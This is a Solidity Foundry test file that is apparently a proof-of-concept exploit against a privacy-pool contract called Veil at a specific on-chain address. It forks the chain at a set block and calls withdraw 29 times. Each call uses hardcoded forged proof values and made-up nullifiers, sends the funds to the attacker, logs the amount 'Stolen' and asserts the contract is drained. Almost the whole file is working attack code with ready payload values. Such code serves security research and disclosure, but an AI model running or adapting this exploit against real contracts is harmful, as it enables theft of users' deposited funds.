1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102
| pragma solidity ^0.8.20;
import {Test, console2} from "forge-std/Test.sol";
interface IVeil { function withdraw( uint256[2] calldata _pA, uint256[2][2] calldata _pB, uint256[2] calldata _pC, bytes32 _root, bytes32 _nullifierHash, address _recipient, address _relayer, uint256 _fee, uint256 _refund ) external payable; function denomination() external view returns (uint256); function getLastRoot() external view returns (bytes32); function isKnownRoot(bytes32 _root) external view returns (bool); }
contract VeilExploitTest is Test { address constant VEIL = 0xD3560eF60Dd06E27b699372c3da1b741c80B7D90; string constant RPC = "Your_RPC";
IVeil veil; receive() external payable {}
function setUp() public { vm.createSelectFork(RPC, 42410816); veil = IVeil(VEIL); }
function testExploit() public { uint256 contractBefore = address(VEIL).balance; uint256 attackerBefore = address(this).balance; console2.log("Contract balance before:", contractBefore, "WEI");
bytes32 root = veil.getLastRoot(); require(veil.isKnownRoot(root), "root not found");
uint256[2] memory pA = [ uint256(2154925384931195669696468236414102213237175831097239004580187544114565088054), uint256(18001460744277730361809118000694905394298985948301929180248317609971584489579) ]; uint256[2][2] memory pB = [[ uint256(6506527127757844316976814146688351625449725845044263141394779683713824623154), uint256(17690460444014779949496449078998668128125816378017242793701355602753621513965) ],[ uint256(11009201094018045724233660315410925704657099711816317858836867291351802608623), uint256(16376880945094056840819396114752708108704853396028129730069854552293465777470) ]];
uint256[2][29] memory pCs = [ [uint256(17056448146598339440669819372000654935125519965723441515682837723077208397864), uint256(12246358530468133712272681913236493343371094448856754294317549734508490018407)], [uint256(9327443220812806761974578463268959170717622765362372090434070295965299045697), uint256(2946474554166798248311742636833059292402475261049084896020748600529709049690)], [uint256(532164647944725611569961375183182578208376967038909550679938587573947046882), uint256(20820341571186415994723455378276862003576668978258650039627260066027811963682)], [uint256(21018507068289624370778597757771515051400197130957495224941790732349922989963), uint256(4655419615769143813997375753418885551577825418104883107281329647246076383051)], [uint256(19867982683559248082889966312206713865709007661786585670116433082120068164097), uint256(18483353302837155773381242316805095339335260641032160734791694543546594468327)], [uint256(45255584050611622093309330123617175625879173757013668930846163683120207254), uint256(13621444729733989614991593817314730631856695320884544583786625582486048714946)], [uint256(11468104856785807190066459418985632171457984484354773478780809224104139436422), uint256(11914951497639375553727760932142846661674596707721573859626272542756989758807)], [uint256(16950417302736938899166505338227683955547557781274019075687826622456312937657), uint256(16949486977748210271450380687104326744677977409507631849385501912303075384988)], [uint256(13696814218863150463108992378690432976612334246143648877460490453666815559050), uint256(10898493461520060463478920074306024183123419751527051258045569088982078814916)], [uint256(13660196102438169544658924660971254535424087989837786864359299899475871642830), uint256(19613905233705763309249389557929358632802147971857032994279867259180282869073)], [uint256(1820536336835174392779972379438650366385296231331953691635878473564824301884), uint256(3099301275614450777508283009230460037962426714893038249012670220374645204271)], [uint256(13865226835254950823153361941795510469920852451874193089863908239204862075804), uint256(505966092550332719700112178432435482092304211616635806682375796695089841815)], [uint256(21209473096885935721275170299398153705432488948627439133239431588667194851394), uint256(149181357862982330092601836070894595905978381222066797645770265668509568186)], [uint256(325421812445316074844683399450347652679394209555933377270290559091924678714), uint256(21667140978932254751040680136558241590430978608158321561123141115872316783955)], [uint256(17104845052615789707248280716729908257156481486857116667188816379458318709211), uint256(12853671580476256155382540676646897308448593248901100402787783351151104700614)], [uint256(12506732765204388945265828032764614683488993391830240999912979429273176659289), uint256(6614695485376537517431143270140454578387400082473077062420501307086775812271)], [uint256(17690044969616912003745360318053019739835941511459408964802226729016042135404), uint256(12669789280962538673062725594824910982068814311710417062495734598243860735360)], [uint256(6996731329476860277571451441801755017959019515644183524224946796382207335701), uint256(18616223872111233299681552333980176090508028252628765719079062461016080367414)], [uint256(6893445890452651726727514058314479255041291226466709191156777452691458356548), uint256(8214479992693515924866210260584092186750724285250832402345739798055614448447)], [uint256(14281343910606061850956427499052642767114872299202991000589889916603006713138), uint256(5147463513182492962052321515135346077543403649783643190025125203769971117997)], [uint256(1923227622187512870390397971866910160904985038774509858089532559577668726076), uint256(2141467635776242007445538984396716428430179554020418569784152236253292049516)], [uint256(17066159945640027319405372144238659370475447566108637729201651737857256445843), uint256(20125332832941748830277571375169312404248227700304071517489665334649694556201)], [uint256(8844601939081322963333975694315457521065890089819038674777822446318016050785), uint256(2253616250092197945123960784213105522069885887353280402123816706846993540847)], [uint256(21469974559910948170468773548098066250334506683978852903889929408878358256376), uint256(16766912730843912862617419397303373582016900349245250713597150864600223164565)], [uint256(19514070063183657591364134885484903586941198904648872710647076984230640156352), uint256(21302852504681748272020715416929824500008227955874406418881435479391667876274)], [uint256(21225097530642609308276788446341258999824500423281873547061403346496171892694), uint256(19723321054909431799881479206887964127379317880216983171168070946108017741986)], [uint256(4978420568866712160477108716337558668542050654942933024945158457406895743040), uint256(9058282636171791487741316727747228022793018498294265276809375045063321709659)], [uint256(11421808125132717363525831648936771148263496811400684681178530794278322984041), uint256(8955497467582255048750321674921651536831430920650328691857807599737172339346)], [uint256(1556267318114033432573826516110527264716357859377500915252906395596424925395), uint256(10293596014709845307926935749171540813025518266477110014502123855342326776931)] ];
for (uint256 i = 0; i < 29; i++) { bytes32 nullifier = bytes32(uint256(0xdead0000 + i)); uint256[2] memory pC = pCs[i]; veil.withdraw(pA, pB, pC, root, nullifier, address(this), address(0), 0, 0); }
uint256 stolen = address(this).balance - attackerBefore; console2.log("Stolen:", stolen, "WEI");
assertEq(address(VEIL).balance, 0); assertEq(stolen, contractBefore); } }
|